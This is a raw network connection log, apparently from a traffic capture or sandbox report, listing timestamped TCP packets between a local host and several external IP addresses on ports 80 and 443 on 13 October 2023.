Oct 13, 2023 16:05:37.497540951 CEST	80	49753	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:37.497554064 CEST	80	49753	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:37.497623920 CEST	49753	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:37.497776031 CEST	49753	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:37.499228954 CEST	49754	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:37.570065022 CEST	49752	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:37.812704086 CEST	80	49754	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:37.812803030 CEST	49754	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:37.813076973 CEST	49754	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:37.827240944 CEST	80	49753	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:37.893224001 CEST	80	49752	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:38.126902103 CEST	80	49754	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:38.127011061 CEST	80	49754	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:38.127062082 CEST	80	49754	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:38.127125978 CEST	49754	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:38.131642103 CEST	49754	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:38.133255959 CEST	49755	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:38.471448898 CEST	80	49754	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:38.513672113 CEST	80	49755	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:38.513796091 CEST	49755	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:38.514133930 CEST	49755	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:38.829767942 CEST	80	49755	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:38.830064058 CEST	80	49755	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:38.830076933 CEST	80	49755	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:38.830293894 CEST	49755	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:38.833729982 CEST	49755	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:38.834945917 CEST	49756	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:39.151372910 CEST	80	49756	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:39.151535988 CEST	49756	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:39.151977062 CEST	49756	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:39.158102036 CEST	80	49755	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:39.467030048 CEST	80	49756	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:39.467056036 CEST	80	49756	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:39.467067003 CEST	80	49756	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:39.467314959 CEST	49756	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:39.467381954 CEST	49756	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:39.468575954 CEST	49757	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:39.781935930 CEST	80	49756	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:39.802040100 CEST	80	49757	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:39.802118063 CEST	49757	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:39.802377939 CEST	49757	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:40.139410019 CEST	80	49757	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:40.139770031 CEST	80	49757	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:40.139836073 CEST	80	49757	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:40.139990091 CEST	49757	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:40.140059948 CEST	49757	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:40.141062021 CEST	49758	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:40.497746944 CEST	80	49758	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:40.497868061 CEST	49758	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:40.498140097 CEST	49758	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:40.812096119 CEST	80	49758	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:40.812453032 CEST	80	49758	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:40.812470913 CEST	80	49758	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:40.812552929 CEST	49758	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:40.812705994 CEST	49758	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:40.813843966 CEST	49759	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:40.976224899 CEST	49757	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:41.126230955 CEST	80	49758	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:41.136142969 CEST	80	49759	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:41.136240959 CEST	49759	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:41.136528969 CEST	49759	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:41.319355965 CEST	80	49757	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:41.464253902 CEST	80	49759	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:41.466878891 CEST	80	49759	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:41.466897964 CEST	80	49759	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:41.467072010 CEST	49759	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:41.467181921 CEST	49759	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:41.771609068 CEST	49760	80	192.168.2.4	34.143.166.163
Oct 13, 2023 16:05:42.273117065 CEST	49759	80	192.168.2.4	35.205.61.67
Oct 13, 2023 16:05:42.325326920 CEST	80	49760	34.143.166.163	192.168.2.4
Oct 13, 2023 16:05:42.325483084 CEST	49760	80	192.168.2.4	34.143.166.163
Oct 13, 2023 16:05:42.325767040 CEST	49760	80	192.168.2.4	34.143.166.163
Oct 13, 2023 16:05:42.325798035 CEST	49760	80	192.168.2.4	34.143.166.163
Oct 13, 2023 16:05:42.625231981 CEST	80	49759	35.205.61.67	192.168.2.4
Oct 13, 2023 16:05:42.879394054 CEST	80	49760	34.143.166.163	192.168.2.4
Oct 13, 2023 16:05:42.879435062 CEST	80	49760	34.143.166.163	192.168.2.4
Oct 13, 2023 16:05:42.879468918 CEST	80	49760	34.143.166.163	192.168.2.4
Oct 13, 2023 16:05:42.879503012 CEST	80	49760	34.143.166.163	192.168.2.4
Oct 13, 2023 16:05:42.879718065 CEST	49760	80	192.168.2.4	34.143.166.163
Oct 13, 2023 16:05:42.879718065 CEST	49760	80	192.168.2.4	34.143.166.163
Oct 13, 2023 16:05:43.434354067 CEST	80	49760	34.143.166.163	192.168.2.4
Oct 13, 2023 16:05:48.941165924 CEST	49761	80	192.168.2.4	34.143.166.163
Oct 13, 2023 16:05:49.503050089 CEST	80	49761	34.143.166.163	192.168.2.4
Oct 13, 2023 16:05:49.503174067 CEST	49761	80	192.168.2.4	34.143.166.163
Oct 13, 2023 16:05:49.564032078 CEST	49761	80	192.168.2.4	34.143.166.163
Oct 13, 2023 16:05:49.564105034 CEST	49761	80	192.168.2.4	34.143.166.163
Oct 13, 2023 16:05:50.126027107 CEST	80	49761	34.143.166.163	192.168.2.4
Oct 13, 2023 16:05:50.126205921 CEST	80	49761	34.143.166.163	192.168.2.4
Oct 13, 2023 16:05:50.126243114 CEST	80	49761	34.143.166.163	192.168.2.4
Oct 13, 2023 16:05:50.126274109 CEST	80	49761	34.143.166.163	192.168.2.4
Oct 13, 2023 16:05:50.126338959 CEST	49761	80	192.168.2.4	34.143.166.163
Oct 13, 2023 16:05:50.677752018 CEST	49761	80	192.168.2.4	34.143.166.163
Oct 13, 2023 16:05:51.209824085 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:51.239770889 CEST	80	49761	34.143.166.163	192.168.2.4
Oct 13, 2023 16:05:51.553258896 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:51.553617954 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:51.553839922 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:51.553870916 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:51.896697998 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:51.896756887 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:51.915252924 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:51.915393114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:51.915430069 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:51.915448904 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:51.915467978 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:51.915507078 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:51.915507078 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:51.915545940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:51.915582895 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:51.915585995 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:51.915621996 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:51.915657997 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:51.915658951 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:51.915695906 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:51.915731907 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.259291887 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.259322882 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.259341955 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.259358883 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.259381056 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.259397984 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.259417057 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.259418011 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.259433985 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.259468079 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.259491920 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.259497881 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.260158062 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.260205030 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.261080027 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.261118889 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.261168003 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.261217117 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.261234045 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.261272907 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.261306047 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.261327028 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.261364937 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.261384010 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.261415958 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.261451006 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.261451960 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.261468887 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.261507988 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.602369070 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.602391005 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.602472067 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.602518082 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.602598906 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.602632999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.602653980 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.602683067 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.602718115 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.602730036 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.602830887 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.602885008 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.602885008 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.603022099 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.603080034 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.603086948 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.603204012 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.603256941 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.603290081 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.603310108 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.603389025 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.603389978 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.603476048 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.603539944 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.603600025 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.603738070 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.603785038 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.603797913 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.603838921 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.603857040 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.603887081 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.603955984 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.604007959 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.604020119 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.604085922 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.604127884 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.604159117 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.604192019 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.604234934 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.604280949 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.604330063 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.604371071 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.604401112 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.604486942 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.604526997 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.604558945 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.604625940 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.604665041 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.604696035 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.604712963 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.604748011 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.604856014 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.604918003 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.604957104 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.604985952 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.605066061 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.605082989 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.605103016 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.605187893 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.605226040 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.811621904 CEST	49733	443	192.168.2.4	23.15.241.48
Oct 13, 2023 16:05:52.945296049 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.945332050 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.945350885 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.945369005 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.945442915 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.945481062 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.945544958 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.945606947 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.945610046 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.945770979 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.945833921 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.945862055 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.945941925 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.945981979 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.946027040 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.946075916 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.946134090 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.946140051 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.946180105 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.946233988 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.946249962 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.946336031 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.946374893 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.946393967 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.946424961 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.946480036 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.946511030 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.946528912 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.946574926 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.946607113 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.946687937 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.946758032 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.946858883 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.946945906 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.947019100 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.947038889 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.947046041 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.947077990 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.947115898 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.947138071 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.947190046 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.947271109 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.947345018 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.947360992 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.947405100 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.947449923 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.947518110 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.947539091 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.947614908 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.947686911 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.947731972 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.947786093 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.947845936 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.947866917 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.947916985 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.947973013 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.948014975 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.948035955 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.948079109 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.948095083 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.948138952 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.948190928 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.948225021 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.948255062 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.948292971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.948347092 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.948384047 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.948434114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.948441982 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.948575974 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.948652029 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.948668003 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.948746920 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.948817968 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.948822975 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.948892117 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.948959112 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.948966980 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.949049950 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.949109077 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.949135065 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.949222088 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.949287891 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.949295998 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.949367046 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.949417114 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.949424028 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.949533939 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.949568987 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.949587107 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.949651003 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.949707985 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.949738026 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.949903965 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.949979067 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.950011015 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.950139999 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.950192928 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.950215101 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.950252056 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.950301886 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.950326920 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.950422049 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.950495958 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.950505972 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.950758934 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.950831890 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.950858116 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.950962067 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.951034069 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.951040030 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.951127052 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.951184034 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.951185942 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.951266050 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.951322079 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:52.951345921 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.951385975 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:52.951427937 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.289015055 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.289165020 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.289184093 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.289232016 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.289315939 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.289341927 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.289362907 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:05:53.289438009 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:05:53.289479017 CEST	49762	80	192.168.2.4	91.215.85.17
